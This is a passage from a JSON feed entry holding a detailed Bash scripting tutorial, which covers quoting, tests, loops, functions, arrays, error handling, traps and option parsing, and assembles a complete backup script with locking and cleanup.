{"version":"https://jsonfeed.org/version/1.1","title":"ShellHacks","home_page_url":"https://shellhacks.dev","feed_url":"https://shellhacks.dev/feed.json","description":"Practical guides and hacks for shell scripting and automation.","language":"en","authors":[{"name":"ShellHacks","url":"https://shellhacks.dev"}],"items":[{"id":"https://shellhacks.dev/library/bash-scripting-tutorial","url":"https://shellhacks.dev/library/bash-scripting-tutorial","title":"Bash Scripting From Zero to a Script You Can Trust","summary":"A complete Bash scripting tutorial: variables, quoting, tests, loops, functions, arrays, exit codes, traps and a finished backup script you can trust.","content_html":"<p>A Bash script you can trust has five properties: it names its interpreter, it quotes what it expands, it checks what it was given, it cleans up after itself, and it tells its caller whether it worked. Everything in this guide builds toward those five, in the order a beginner meets them. The examples assume Bash 5.2 on Debian 12, and each one says where a different shell or an older Bash behaves differently.</p>\n\n<p>The guide has six parts. The first gets a script running. The second covers variables and the quoting rules that decide whether a script is safe. The third covers tests, loops and functions. The fourth covers input, output and exit codes. The fifth covers the safety settings and cleanup. The last assembles a complete backup script from every earlier piece. If the target is a script that runs unchanged on Alpine or BusyBox, read <a href=\"/library/posix-sh-vs-bash-portable-scripts\">the guide to portable shell scripts</a> after this one, because several features below are Bash only.</p>\n\n<h2>What a shell script is</h2>\n<p>A shell script is a text file of commands that the shell reads from top to bottom. Nothing is compiled. The shell parses one command line at a time, expands it, runs it and moves on. That explains most of what surprises beginners: a typo on line 40 does not stop line 1 from running, a variable holds text and nothing else, and a command that fails does not stop the script unless something tells it to.</p>\n<p>Bash is both an interactive shell and a scripting language. Everything you type at a prompt works in a script, which is why the best way to learn is to build the script out of commands you already run by hand. The reference for every feature is the <a href=\"https://www.gnu.org/software/bash/manual/bash.html\">GNU Bash Reference Manual</a>, and the portable subset is defined in the <a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html\">POSIX Shell Command Language</a>.</p>\n\n<h2>Write and run a first script</h2>\n<p>Create a file called <code>hello.sh</code> with an editor and put these lines in it.</p>\n<pre><code class=\"language-bash\">#!/usr/bin/env bash\necho \"Hello from $(hostname)\"\ndate +%F\n</code></pre>\n<p>The first line is the shebang. When the kernel is asked to execute the file, it reads those two bytes, sees <code>#!</code> and starts the named program with the file as its argument. Using <code>/usr/bin/env bash</code> finds Bash wherever it is installed, which matters on macOS and BSD systems where it is not at <code>/bin/bash</code>. The <code>$(...)</code> form is command substitution: the shell runs the command and replaces the expression with its output.</p>\n<pre><code class=\"language-bash\">chmod +x hello.sh\n./hello.sh\n</code></pre>\n<pre><code class=\"language-text\">Hello from build01\n2026-11-05\n</code></pre>\n<p>Without the executable bit, <code>./hello.sh</code> fails with <code>Permission denied</code>. You can still run it as <code>bash hello.sh</code>, which ignores the bit and the shebang. When a script behaves differently from the command line, the two ways of starting it are the first thing to compare.</p>\n\n<h2>Variables are text</h2>\n<p>Assign with no spaces around the equals sign and read with a dollar sign. Spaces around <code>=</code> make Bash treat the name as a command, which produces <code>command not found</code>.</p>\n<pre><code class=\"language-bash\">name=\"release notes\"\ncount=3\necho \"$name has $count items\"\necho \"${name}_v2\"\n</code></pre>\n<pre><code class=\"language-text\">release notes has 3 items\nrelease notes_v2\n</code></pre>\n<p>The braces in <code>${name}_v2</code> mark where the name ends. Without them Bash would look for a variable called <code>name_v2</code>. Every variable is a string; <code>count=3</code> is the character <code>3</code> until an arithmetic context reads it as a number. Names are case sensitive, and the convention is lowercase for variables inside a script and uppercase for environment variables that other programs read, such as <code>PATH</code> and <code>HOME</code>.</p>\n\n<h2>Quote every expansion</h2>\n<p>This is the rule that separates working scripts from scripts that work until a filename contains a space. After expanding an unquoted variable, Bash splits the result on whitespace and then treats each piece as a glob pattern. That is called word splitting and pathname expansion, and it is almost never what you want.</p>\n<pre><code class=\"language-bash\">file=\"my notes.txt\"\ntouch \"$file\"\nrm $file\n</code></pre>\n<pre><code class=\"language-text\">rm: cannot remove 'my': No such file or directory\nrm: cannot remove 'notes.txt': No such file or directory\n</code></pre>\n<p>The unquoted <code>$file</code> became two arguments. With a variable that held <code>*</code> or a path with a leading dash, the damage is worse than an error message. Double quotes keep the value as one word and still allow expansion. Single quotes prevent all expansion and are right for literal text such as a regular expression. The full treatment of how quoting breaks and how attackers use it is in <a href=\"/library/shell-script-security\">the shell script security guide</a>.</p>\n\n<h2>The special parameters</h2>\n<p>Bash gives every script a handful of built-in values. <code>$0</code> is the script name. <code>$1</code> to <code>$9</code>, and <code>${10}</code> onward, are the arguments. <code>$#</code> is how many arguments there are. <code>$?</code> is the exit status of the last command. <code>$$</code> is the process ID of the shell. <code>$@</code> and <code>$*</code> are all the arguments, and the difference between them matters.</p>\n<pre><code class=\"language-bash\">#!/usr/bin/env bash\nprintf 'count=%s\\n' \"$#\"\nprintf 'arg: [%s]\\n' \"$@\"\n</code></pre>\n<pre><code class=\"language-text\">$ ./args.sh one \"two words\" three\ncount=3\narg: [one]\narg: [two words]\narg: [three]\n</code></pre>\n<p><code>\"$@\"</code> expands to each argument as its own quoted word, so the argument with a space survives. <code>\"$*\"</code> joins them into one string. Use <code>\"$@\"</code> whenever you forward arguments to another command, which is nearly always. The unquoted forms of both behave the same and both are wrong.</p>\n\n<h2>Default values and required values</h2>\n<p>Parameter expansion has operators for the cases scripts meet constantly. <code>${var:-default}</code> substitutes a default when the variable is unset or empty. <code>${var:=default}</code> also assigns it. <code>${var:?message}</code> aborts with a message when the variable is missing, which is the shortest way to demand a required input.</p>\n<pre><code class=\"language-bash\">#!/usr/bin/env bash\ntarget=\"${1:?usage: deploy.sh TARGET [BRANCH]}\"\nbranch=\"${2:-main}\"\necho \"deploying $branch to $target\"\n</code></pre>\n<pre><code class=\"language-text\">$ ./deploy.sh\n./deploy.sh: line 2: 1: usage: deploy.sh TARGET [BRANCH]\n$ ./deploy.sh staging\ndeploying main to staging\n</code></pre>\n<p>Other operators trim text. <code>${path##*/}</code> removes the longest prefix matching <code>*/</code>, which leaves the file name. <code>${file%.txt}</code> removes the shortest suffix, which strips an extension. <code>${var^^}</code> upper cases and <code>${var,,}</code> lower cases. These run inside the shell with no extra process, so they are faster than calling <code>basename</code> or <code>tr</code> in a loop.</p>\n\n<h2>Command substitution and arithmetic</h2>\n<p>Use <code>$(command)</code> to capture output and <code>$(( expression ))</code> for integer arithmetic. Prefer <code>$(...)</code> over backticks because it nests and does not need escaping. Trailing newlines are stripped from the captured output.</p>\n<pre><code class=\"language-bash\">today=$(date +%F)\nfiles=$(ls | wc -l)\necho \"$today: $files entries, next is $(( files + 1 ))\"\n(( files &gt; 10 )) &amp;&amp; echo \"busy directory\"\n</code></pre>\n<p>Arithmetic is integer only. Division truncates, and <code>(( ))</code> returns success when the result is non-zero, so it doubles as a numeric test. For decimals, hand the work to <code>awk</code> or <code>bc</code>; <a href=\"/library/grep-sed-awk-guide\">the grep, sed and awk guide</a> shows the awk idiom. Counting entries with <code>ls | wc -l</code> miscounts names that contain newlines, which is why later sections use arrays and globs instead of parsing <code>ls</code>.</p>\n\n<h2>Exit status is the return value</h2>\n<p>Every command returns a number from 0 to 255 when it finishes. Zero means success. Anything else means some kind of failure, and the meaning is defined by the command. <code>grep</code> returns 0 for a match, 1 for no match and 2 for an error, so \"no match\" is not an error condition unless you decide it is.</p>\n<pre><code class=\"language-bash\">grep -q root /etc/passwd; echo \"exit=$?\"\ngrep -q nosuchuser /etc/passwd; echo \"exit=$?\"\ngrep -q root /etc/missing; echo \"exit=$?\"\n</code></pre>\n<pre><code class=\"language-text\">exit=0\nexit=1\ngrep: /etc/missing: No such file or directory\nexit=2\n</code></pre>\n<p>Your own scripts should follow the same convention. End with <code>exit 0</code> for success and a small positive number for each distinct failure you want a caller to tell apart. Avoid numbers above 125, which the shell reserves: 126 means the command was found but not executable, 127 means not found, and 128 plus N means the process died from signal N. A caller reading <code>$?</code> is the entire interface between a script and cron, a CI job or another script.</p>\n\n<h2>Test conditions with if</h2>\n<p><code>if</code> runs a command and branches on its exit status. The command is very often <code>[[</code>, which evaluates a condition and returns 0 or 1. In Bash, prefer the double-bracket form because it does not word split, accepts pattern and regex matching, and does not need quotes on the left side.</p>\n<pre><code class=\"language-bash\">if [[ -f \"$config\" &amp;&amp; -r \"$config\" ]]; then\n  echo \"using $config\"\nelif [[ -z \"$config\" ]]; then\n  echo \"no config given\"\nelse\n  echo \"cannot read $config\" &gt;&amp;2\n  exit 1\nfi\n</code></pre>\n<p>The file tests you will use constantly are <code>-e</code> exists, <code>-f</code> regular file, <code>-d</code> directory, <code>-r</code> readable, <code>-w</code> writable, <code>-x</code> executable, <code>-s</code> non-empty, and <code>-L</code> symlink. The string tests are <code>-z</code> empty, <code>-n</code> non-empty, <code>==</code> and <code>!=</code>. The numeric tests are <code>-eq</code>, <code>-ne</code>, <code>-lt</code>, <code>-le</code>, <code>-gt</code> and <code>-ge</code>, because <code>&lt;</code> inside <code>[[ ]]</code> compares strings and <code>\"10\" &lt; \"9\"</code> is true. For numbers, use <code>(( a &lt; b ))</code> instead.</p>\n\n<h2>Single bracket versus double bracket</h2>\n<p>The single bracket <code>[</code> is a real program-like builtin that receives its arguments after expansion. That makes it portable and also fragile: an empty unquoted variable disappears, and <code>[ $x = y ]</code> becomes <code>[ = y ]</code>, a syntax error. The double bracket is parsed before expansion, so none of that applies.</p>\n<table>\n<thead><tr><th>Feature</th><th><code>[ ]</code></th><th><code>[[ ]]</code></th></tr></thead>\n<tbody>\n<tr><td>Works in POSIX sh and dash</td><td>Yes</td><td>No</td></tr>\n<tr><td>Needs quotes around variables</td><td>Yes</td><td>No</td></tr>\n<tr><td>Pattern match with <code>==</code></td><td>No</td><td>Yes</td></tr>\n<tr><td>Regex with <code>=~</code></td><td>No</td><td>Yes</td></tr>\n<tr><td><code>&amp;&amp;</code> and <code>||</code> inside</td><td>Use <code>-a</code> and <code>-o</code>, which are ambiguous</td><td>Yes</td></tr>\n</tbody>\n</table>\n<p>Choose by the shebang. A Bash script gets <code>[[ ]]</code>. A script that must run under <code>#!/bin/sh</code> gets <code>[ ]</code> with every variable quoted and uses <code>case</code> for pattern matching.</p>\n\n<h2>Match patterns and regular expressions</h2>\n<p>Inside <code>[[ ]]</code>, an unquoted right-hand side of <code>==</code> is a glob pattern, and the right-hand side of <code>=~</code> is an extended regular expression. Captured groups land in the <code>BASH_REMATCH</code> array. Keep the regex in a variable to avoid quoting problems.</p>\n<pre><code class=\"language-bash\">version=\"release-2.14.7\"\nre='^release-([0-9]+)\\.([0-9]+)\\.([0-9]+)$'\nif [[ $version =~ $re ]]; then\n  echo \"major=${BASH_REMATCH[1]} minor=${BASH_REMATCH[2]} patch=${BASH_REMATCH[3]}\"\nfi\n[[ $version == release-* ]] &amp;&amp; echo \"looks like a release\"\n</code></pre>\n<pre><code class=\"language-text\">major=2 minor=14 patch=7\nlooks like a release\n</code></pre>\n<p>Quoting the regex variable on the right side turns it into a literal string match, which is the most common reason a working regex stops matching. The full dialect differences between grep, sed, awk and Bash are covered in <a href=\"/library/regular-expressions-shell-tools\">the guide to regular expressions in shell tools</a>.</p>\n\n<h2>Choose between many branches with case</h2>\n<p><code>case</code> matches one value against several glob patterns and is clearer than a ladder of <code>elif</code>. Each branch ends with <code>;;</code>, and patterns can be joined with <code>|</code>. It is also portable to every POSIX shell, so it is the right tool for argument parsing in scripts that cannot assume Bash.</p>\n<pre><code class=\"language-bash\">case \"$1\" in\n  start|up)   echo \"starting\" ;;\n  stop)       echo \"stopping\" ;;\n  status)     echo \"checking\" ;;\n  *)          echo \"usage: $0 {start|stop|status}\" &gt;&amp;2; exit 2 ;;\nesac\n</code></pre>\n<p>The final <code>*)</code> branch is the default and should always exist in a script that takes input, because falling off the end of a <code>case</code> silently is how a typo in an argument becomes a no-op that exits 0.</p>\n\n<h2>Loop over a list</h2>\n<p>A <code>for</code> loop iterates over words. Give it a quoted array or a glob, never the output of <code>ls</code>. A glob that matches nothing stays as the literal pattern unless <code>nullglob</code> is set, so test for it.</p>\n<pre><code class=\"language-bash\">shopt -s nullglob\nfor f in /var/log/*.log; do\n  size=$(stat -c %s \"$f\")\n  printf '%8d  %s\\n' \"$size\" \"$f\"\ndone\n</code></pre>\n<p>The C-style loop <code>for ((i = 0; i &lt; 5; i++))</code> is useful for counters. A <code>while</code> loop runs while a command succeeds, and <code>until</code> runs until one does. Use <code>break</code> to leave a loop and <code>continue</code> to skip to the next pass. Both accept a number to leave several nested loops at once, though a function is usually a clearer way to escape deep nesting.</p>\n\n<h2>Read a file line by line</h2>\n<p>The reliable idiom for reading lines is <code>while IFS= read -r line</code>. Clearing <code>IFS</code> keeps leading and trailing whitespace, and <code>-r</code> stops <code>read</code> from treating a backslash as an escape. Feed the loop with a redirection, not a pipe, so the loop runs in the current shell and its variables survive.</p>\n<pre><code class=\"language-bash\">count=0\nwhile IFS= read -r line; do\n  [[ -z $line || $line == \\#* ]] &amp;&amp; continue\n  count=$(( count + 1 ))\n  echo \"entry $count: $line\"\ndone &lt; hosts.txt\necho \"total $count\"\n</code></pre>\n<pre><code class=\"language-text\">entry 1: web01\nentry 2: web02\nentry 3: db01\ntotal 3\n</code></pre>\n<p>Written as <code>cat hosts.txt | while read ...</code>, the loop runs in a subshell and <code>count</code> is still 0 afterwards. This is among the most reported Bash surprises, and the fix is the redirection above or, when the data comes from a command, process substitution: <code>done &lt; &lt;(some_command)</code>. A last line with no trailing newline is skipped by <code>read</code>; add <code>|| [[ -n $line ]]</code> to the loop condition if the file may lack one.</p>\n\n<h2>Functions</h2>\n<p>A function groups commands under a name. Arguments arrive as <code>$1</code>, <code>$2</code> inside it, separate from the script's own. A function returns an exit status with <code>return</code>, and outputs text by printing it, which the caller captures with <code>$(...)</code>. Variables are global by default, so declare working variables with <code>local</code>.</p>\n<pre><code class=\"language-bash\">log() {\n  local level=\"$1\"; shift\n  printf '%s [%s] %s\\n' \"$(date +%T)\" \"$level\" \"$*\" &gt;&amp;2\n}\n\nrequire() {\n  command -v \"$1\" &gt;/dev/null 2&gt;&amp;1 || { log ERROR \"missing tool: $1\"; return 1; }\n}\n\nrequire rsync || exit 1\nlog INFO \"rsync found\"\n</code></pre>\n<pre><code class=\"language-text\">14:02:11 [INFO] rsync found\n</code></pre>\n<p>Notice that <code>log</code> writes to standard error. Diagnostics belong there, so that the standard output of a script stays clean enough to pipe into the next command. Functions must be defined before the line that calls them runs, so put them at the top and the main logic at the bottom.</p>\n\n<h2>Return values from functions</h2>\n<p>A function has two channels: its exit status and its output. Use the status for success or failure, as above, and use output for data. Do not smuggle data through a global variable when output will do, because command substitution is easier to read and test. The one trade-off is that <code>$(...)</code> runs the function in a subshell, so side effects such as setting a variable do not escape. When a function must set variables in the caller, use <code>declare -n</code> name references, available since Bash 4.3.</p>\n<pre><code class=\"language-bash\">split_host() {\n  local -n _host=\"$2\" _port=\"$3\"\n  _host=\"${1%%:*}\"\n  _port=\"${1##*:}\"\n}\nsplit_host \"db01.internal:5432\" h p\necho \"host=$h port=$p\"\n</code></pre>\n<pre><code class=\"language-text\">host=db01.internal port=5432\n</code></pre>\n\n<h2>Indexed arrays</h2>\n<p>An array holds a list of separate strings, and it is the correct answer to \"how to store several things without word splitting\". Assign with parentheses, read one element with an index, and expand the whole list with <code>\"${arr[@]}\"</code>, always quoted.</p>\n<pre><code class=\"language-bash\">servers=(web01 web02 \"db 01\")\nservers+=(cache01)\necho \"${#servers[@]} servers, first is ${servers[0]}\"\nfor s in \"${servers[@]}\"; do\n  printf '[%s]\\n' \"$s\"\ndone\necho \"${servers[@]:1:2}\"\n</code></pre>\n<pre><code class=\"language-text\">4 servers, first is web01\n[web01]\n[web02]\n[db 01]\n[cache01]\nweb02 db 01\n</code></pre>\n<p>The element with a space stays one element because of the quotes. Building a command in an array and running it as <code>\"${cmd[@]}\"</code> is the safe replacement for assembling a command in a string and passing it to <code>eval</code>. Arrays do not exist in POSIX sh, so a script that must run under dash cannot use them.</p>\n\n<h2>Associative arrays</h2>\n<p>Bash 4 added associative arrays, which map string keys to values. Declare them with <code>declare -A</code>; Bash 3.2, still shipped by macOS, does not have them.</p>\n<pre><code class=\"language-bash\">declare -A port=([http]=80 [https]=443 [ssh]=22)\nport[postgres]=5432\nfor name in \"${!port[@]}\"; do\n  printf '%-10s %s\\n' \"$name\" \"${port[$name]}\"\ndone | sort\n</code></pre>\n<pre><code class=\"language-text\">http       80\nhttps      443\npostgres   5432\nssh        22\n</code></pre>\n<p>Keys come back in no particular order, so sort when the order matters. Use <code>[[ -v port[ssh] ]]</code> to test whether a key exists, which is different from the value being non-empty.</p>\n\n<h2>Input and output redirection</h2>\n<p>Every process starts with three open files: standard input (0), standard output (1) and standard error (2). Redirection rewires them. <code>&gt;</code> truncates and writes, <code>&gt;&gt;</code> appends, <code>&lt;</code> reads, <code>2&gt;</code> redirects errors, and <code>2&gt;&amp;1</code> sends errors to wherever output currently goes. Order matters: <code>cmd &gt; file 2&gt;&amp;1</code> captures both, while <code>cmd 2&gt;&amp;1 &gt; file</code> sends errors to the terminal.</p>\n<pre><code class=\"language-bash\">./job.sh &gt; job.log 2&gt;&amp;1\n./job.sh &gt;&gt; job.log 2&gt; errors.log\n./job.sh &amp;&gt; job.log\n./job.sh &lt; input.txt &gt; /dev/null\n</code></pre>\n<p>The <code>&amp;&gt;</code> form is a Bash shortcut for the first line. A here document supplies multiline input without a temporary file: <code>cat &lt;&lt;'EOF'</code> with a quoted delimiter disables expansion inside, while an unquoted delimiter expands variables. The same redirections are the foundation of the debugging techniques in <a href=\"/library/debugging-shell-scripts\">the guide to debugging shell scripts</a>.</p>\n\n<h2>Pipelines</h2>\n<p>A pipe connects the output of one command to the input of the next, and every stage runs at the same time. This is what makes small tools composable. The pipeline's exit status is, by default, the status of the last command only, so a failure in the middle is invisible.</p>\n<pre><code class=\"language-bash\">false | true; echo \"status=$?\"\nset -o pipefail\nfalse | true; echo \"status=$?\"\n</code></pre>\n<pre><code class=\"language-text\">status=0\nstatus=1\n</code></pre>\n<p>With <code>pipefail</code> the pipeline returns the status of the rightmost command that failed. The <code>PIPESTATUS</code> array holds the status of every stage if you need to know which one broke. One quirk to learn early: <code>grep -q</code> exits as soon as it finds a match, which can close the pipe and kill the producer with SIGPIPE, so a producer that is not finished can report failure under <code>pipefail</code> even though the search succeeded.</p>\n\n<h2>Safety settings</h2>\n<p>Three options change a script from permissive to careful. <code>set -u</code> makes an unset variable an error, which catches typos like <code>$fiel</code>. <code>set -o pipefail</code> is the pipeline behavior above. <code>set -e</code> exits when a command fails. The first two are almost always a good idea. The third is more complicated than its name suggests.</p>\n<pre><code class=\"language-bash\">#!/usr/bin/env bash\nset -euo pipefail\n\necho \"start\"\nfalse &amp;&amp; echo \"not reached\"\necho \"after the AND list\"\nif false; then :; fi\necho \"after the if\"\nfalse\necho \"never printed\"\n</code></pre>\n<pre><code class=\"language-text\">start\nafter the AND list\nafter the if\n</code></pre>\n<p><code>set -e</code> ignores a failure that is part of an <code>&amp;&amp;</code> or <code>||</code> list (except the last command), a failure in an <code>if</code> or <code>while</code> condition, and a command preceded by <code>!</code>. It also does not fire inside a command substitution used as an argument in some contexts, and a failure inside a function called from a condition is ignored. The consequence is that a script can have <code>set -e</code> and still print \"done\" after a failure. Pair it with explicit checks on the commands that matter, and read the full list of exceptions in the <a href=\"https://www.gnu.org/software/bash/manual/html_node/The-Set-Builtin.html\">manual's description of the set builtin</a>.</p>\n\n<h2>Handle errors on purpose</h2>\n<p>Where a failure is expected, say so. <code>|| true</code> declares that a command may fail. <code>||</code> followed by a block handles the failure with a message. Define a <code>die</code> helper once and use it everywhere so every failure has the same shape.</p>\n<pre><code class=\"language-bash\">die() { printf 'error: %s\\n' \"$*\" &gt;&amp;2; exit 1; }\n\ncd \"$workdir\" || die \"cannot enter $workdir\"\ngrep -q \"$pattern\" \"$file\" || echo \"pattern absent, continuing\"\nmkdir -p \"$out\" || die \"cannot create $out\"\n</code></pre>\n<p>The pattern <code>cd dir || die</code> deserves a habit of its own. A failed <code>cd</code> followed by <code>rm -rf *</code> is a classic way to delete the wrong directory, and ShellCheck flags the unguarded form as SC2164.</p>\n\n<h2>Clean up with a trap</h2>\n<p>A <code>trap</code> runs a command when the shell receives a signal or exits. The <code>EXIT</code> pseudo-signal fires on normal exit, on <code>exit</code> called after an error, and on <code>SIGINT</code> or <code>SIGTERM</code> once the handler is installed for them. It is the right place to delete temporary files.</p>\n<pre><code class=\"language-bash\">tmp=$(mktemp -d) || exit 1\ncleanup() {\n  rm -rf -- \"$tmp\"\n}\ntrap cleanup EXIT\ntrap 'exit 130' INT\ntrap 'exit 143' TERM\n\necho \"working in $tmp\"\nsleep 30\n</code></pre>\n<p>Pressing Ctrl-C sends SIGINT, the trap calls <code>exit 130</code>, and the <code>EXIT</code> trap runs <code>cleanup</code>. Always make the temporary directory with <code>mktemp</code>, never with a fixed name like <code>/tmp/work</code>, which another user or process can pre-create. SIGKILL cannot be trapped, so a script killed with <code>kill -9</code> leaves its files behind; design cleanup so that a second run can recover from that.</p>\n\n<h2>Parse options with getopts</h2>\n<p><code>getopts</code> is a builtin for short options and works in POSIX sh. The option string lists the letters, and a colon after a letter means the option takes a value. A leading colon turns on silent error handling so you can print your own messages.</p>\n<pre><code class=\"language-bash\">verbose=0; out=\"backup.tar.gz\"\nwhile getopts \":vo:h\" opt; do\n  case \"$opt\" in\n    v) verbose=1 ;;\n    o) out=\"$OPTARG\" ;;\n    h) echo \"usage: $0 [-v] [-o file] dir...\"; exit 0 ;;\n    :) echo \"option -$OPTARG needs a value\" &gt;&amp;2; exit 2 ;;\n    \\?) echo \"unknown option -$OPTARG\" &gt;&amp;2; exit 2 ;;\n  esac\ndone\nshift $(( OPTIND - 1 ))\necho \"verbose=$verbose out=$out dirs=$#\"\n</code></pre>\n<pre><code class=\"language-text\">$ ./pack.sh -v -o /tmp/x.tgz src docs\nverbose=1 out=/tmp/x.tgz dirs=2\n</code></pre>\n<p>After the loop, <code>shift $(( OPTIND - 1 ))</code> removes the parsed options so <code>\"$@\"</code> holds only the remaining arguments. <code>getopts</code> does not understand long options such as <code>--output</code>. For those, write a <code>while [[ $# -gt 0 ]]</code> loop with a <code>case</code>, or use the external <code>getopt</code> from util-linux, which is not available on every system.</p>\n\n<h2>Work with files and paths safely</h2>\n<p>Most destructive scripting accidents involve a path. A few habits remove most of the risk. Put <code>--</code> before filenames to stop a name beginning with a dash being read as an option. Use <code>mktemp</code> for temporary files. Resolve the script's own location rather than assuming the current directory. Prefer globs over parsing <code>ls</code>, and use <code>find ... -print0</code> with <code>read -d ''</code> when names might contain newlines.</p>\n<pre><code class=\"language-bash\">script_dir=$(cd -- \"$(dirname -- \"${BASH_SOURCE[0]}\")\" &amp;&amp; pwd)\nrm -f -- \"$tmp/partial.tar\"\nfind \"$dir\" -type f -name '*.log' -mtime +30 -print0 |\n  while IFS= read -r -d '' f; do\n    echo \"old: $f\"\n  done\n</code></pre>\n<p>Deleting with a variable that might be empty, as in <code>rm -rf \"$dir/\"*</code>, removes everything under the root when <code>dir</code> is unset. The expansion <code>\"${dir:?}\"</code> aborts instead, and <code>set -u</code> does the same job for the whole script.</p>\n\n<h2>Run commands in the background and wait</h2>\n<p>Add <code>&amp;</code> to run a command in the background, record its PID in <code>$!</code> and use <code>wait</code> to collect its exit status. A bounded number of parallel jobs is a safer pattern than launching hundreds at once.</p>\n<pre><code class=\"language-bash\">pids=()\nfor host in web01 web02 web03; do\n  ssh -o BatchMode=yes \"$host\" uptime &gt; \"out.$host\" 2&gt;&amp;1 &amp;\n  pids+=($!)\ndone\nfail=0\nfor pid in \"${pids[@]}\"; do\n  wait \"$pid\" || fail=$(( fail + 1 ))\ndone\necho \"$fail host(s) failed\"\n</code></pre>\n<p>Waiting on each PID separately is what lets the script see each exit status. A bare <code>wait</code> with no arguments returns 0 regardless of the jobs. For real fan-out with a concurrency limit, <code>xargs -P</code> is simpler than hand-rolled job control. SSH specifics such as <code>BatchMode</code> are in <a href=\"/library/ssh-guide\">the SSH guide</a>.</p>\n\n<h2>Scripts that run unattended</h2>\n<p>A script started by cron or a CI runner has no terminal, a minimal <code>PATH</code> and often a different working directory, user and locale. Set what you depend on at the top, log to a file with timestamps, and use a lock to stop two copies running at once. <code>flock</code> from util-linux does that in one line.</p>\n<pre><code class=\"language-bash\">#!/usr/bin/env bash\nset -euo pipefail\nPATH=/usr/local/bin:/usr/bin:/bin\nexec 9&gt;/var/lock/nightly.lock\nflock -n 9 || { echo \"already running\" &gt;&amp;2; exit 0; }\ncd \"$(dirname \"$0\")\"\n./sync.sh\n</code></pre>\n<p>Holding file descriptor 9 open keeps the lock until the script exits, and the kernel releases it even if the script is killed. Everything about scheduling such a script is in <a href=\"/library/automate-tasks-cron-systemd\">the guide to cron and systemd timers</a>.</p>\n\n<h2>Check the script with ShellCheck</h2>\n<p><a href=\"https://www.shellcheck.net/wiki/\">ShellCheck</a> reads a script without running it and reports the mistakes this guide has described: unquoted variables (SC2086), a missing guard after <code>cd</code> (SC2164), reading <code>ls</code> output (SC2012) and useless use of <code>cat</code> (SC2002). On Debian 12 the package is <code>shellcheck</code> 0.9.0.</p>\n<pre><code class=\"language-bash\">shellcheck deploy.sh\n</code></pre>\n<pre><code class=\"language-text\">In deploy.sh line 7:\nrm -rf $target/*\n       ^-- SC2086 (info): Double quote to prevent globbing and word splitting.\n</code></pre>\n<p>Run it in your editor and in CI. When a warning is wrong for a specific line, silence that one line with a <code>disable</code> comment that carries a reason, rather than switching the check off for the file. The testing workflow around it, including Bats, is in <a href=\"/library/test-shell-scripts-bats-shellcheck\">the guide to testing shell scripts</a>.</p>\n\n<h2>Build a backup script from the pieces</h2>\n<p>This script uses every earlier idea: a shebang, strict settings, a required argument, a default, option parsing, quoting, a temporary directory with a trap, a function, a lock, logging to standard error and meaningful exit codes. It archives a directory, checks the archive, and rotates old ones.</p>\n<pre><code class=\"language-bash\">#!/usr/bin/env bash\n# backup.sh [-k KEEP] [-d DEST] SOURCE\nset -euo pipefail\n\nkeep=7\ndest=\"$HOME/backups\"\n\nlog() { printf '%s %s\\n' \"$(date +%T)\" \"$*\" &gt;&amp;2; }\ndie() { log \"error: $*\"; exit 1; }\n\nwhile getopts \":k:d:\" opt; do\n  case \"$opt\" in\n    k) keep=\"$OPTARG\" ;;\n    d) dest=\"$OPTARG\" ;;\n    *) die \"usage: $0 [-k KEEP] [-d DEST] SOURCE\" ;;\n  esac\ndone\nshift $(( OPTIND - 1 ))\n\nsource_dir=\"${1:?usage: $0 [-k KEEP] [-d DEST] SOURCE}\"\n[[ -d $source_dir ]] || die \"not a directory: $source_dir\"\n[[ $keep =~ ^[0-9]+$ ]] || die \"KEEP must be a number\"\n\nmkdir -p -- \"$dest\"\nexec 9&gt;\"$dest/.lock\"\nflock -n 9 || die \"another backup is running\"\n\ntmp=$(mktemp -d)\ntrap 'rm -rf -- \"$tmp\"' EXIT\n\nname=\"$(basename -- \"$source_dir\")-$(date +%Y%m%d-%H%M%S).tar.gz\"\nlog \"archiving $source_dir\"\ntar -czf \"$tmp/$name\" -C \"$(dirname -- \"$source_dir\")\" -- \"$(basename -- \"$source_dir\")\"\ntar -tzf \"$tmp/$name\" &gt;/dev/null || die \"archive failed verification\"\nmv -- \"$tmp/$name\" \"$dest/$name\"\nlog \"wrote $dest/$name\"\n\nmapfile -t old &lt; &lt;(ls -1t -- \"$dest\"/*.tar.gz | tail -n +\"$(( keep + 1 ))\")\nfor f in \"${old[@]}\"; do\n  [[ -n $f ]] || continue\n  log \"removing $f\"\n  rm -f -- \"$f\"\ndone\n</code></pre>\n<pre><code class=\"language-text\">$ ./backup.sh -k 3 -d /tmp/bk ~/project\n10:41:07 archiving /home/dev/project\n10:41:07 wrote /tmp/bk/project-20261105-104107.tar.gz\n</code></pre>\n<p>The temporary archive is built outside the destination and moved in only after verification, so a crash mid-write never leaves a half-finished file where the next restore will look for a good one. The final rotation uses <code>ls -t</code> on files whose names the script itself created, which is one of the few safe uses of parsing <code>ls</code>. For names you do not control, use <code>find</code> with <code>-print0</code>.</p>\n\n<h2>Environment variables and export</h2>\n<p>A plain assignment creates a shell variable that only the current shell can see. <code>export</code> copies it into the environment, which every child process inherits. This is why <code>PATH</code> works for every program you start and why a variable you set in a script does not appear in the terminal that launched it: the child's environment is a copy, and nothing flows back to the parent.</p>\n<pre><code class=\"language-bash\">name=local-only\nexport shared=visible\nbash -c 'echo \"name=[$name] shared=[$shared]\"'\nLC_ALL=C sort names.txt\n</code></pre>\n<pre><code class=\"language-text\">name=[] shared=[visible]\n</code></pre>\n<p>Prefixing a command with <code>VAR=value</code> sets the variable for that one command only, which is the clean way to change the locale or a tool's configuration without leaking it into the rest of the script. Scripts that read configuration from the environment should document each variable at the top and give it a default with <code>${VAR:-default}</code>, so that running with an empty environment still does something sensible.</p>\n\n<h2>Subshells and scope</h2>\n<p>A subshell is a child copy of the shell. Parentheses create one explicitly, as does a pipeline stage and a command substitution. Changes made inside it, including variable assignments and <code>cd</code>, vanish when it ends. That is useful when you want a temporary directory change without undoing it afterwards.</p>\n<pre><code class=\"language-bash\">pwd\n( cd /tmp &amp;&amp; pwd )\npwd\ntotal=0\nprintf '1\\n2\\n3\\n' | while read -r n; do total=$(( total + n )); done\necho \"total=$total\"\n</code></pre>\n<pre><code class=\"language-text\">/home/dev\n/tmp\n/home/dev\ntotal=0\n</code></pre>\n<p>The last two lines repeat the pipeline surprise from the file-reading section in a form you can run in ten seconds. Braces, <code>{ ...; }</code>, group commands without creating a subshell, which is how the <code>|| { log ERROR \"...\"; return 1; }</code> pattern earlier groups two commands under one condition. Bash 4.2 and later also offer <code>shopt -s lastpipe</code>, which runs the last stage of a pipeline in the current shell when job control is off, as it is in 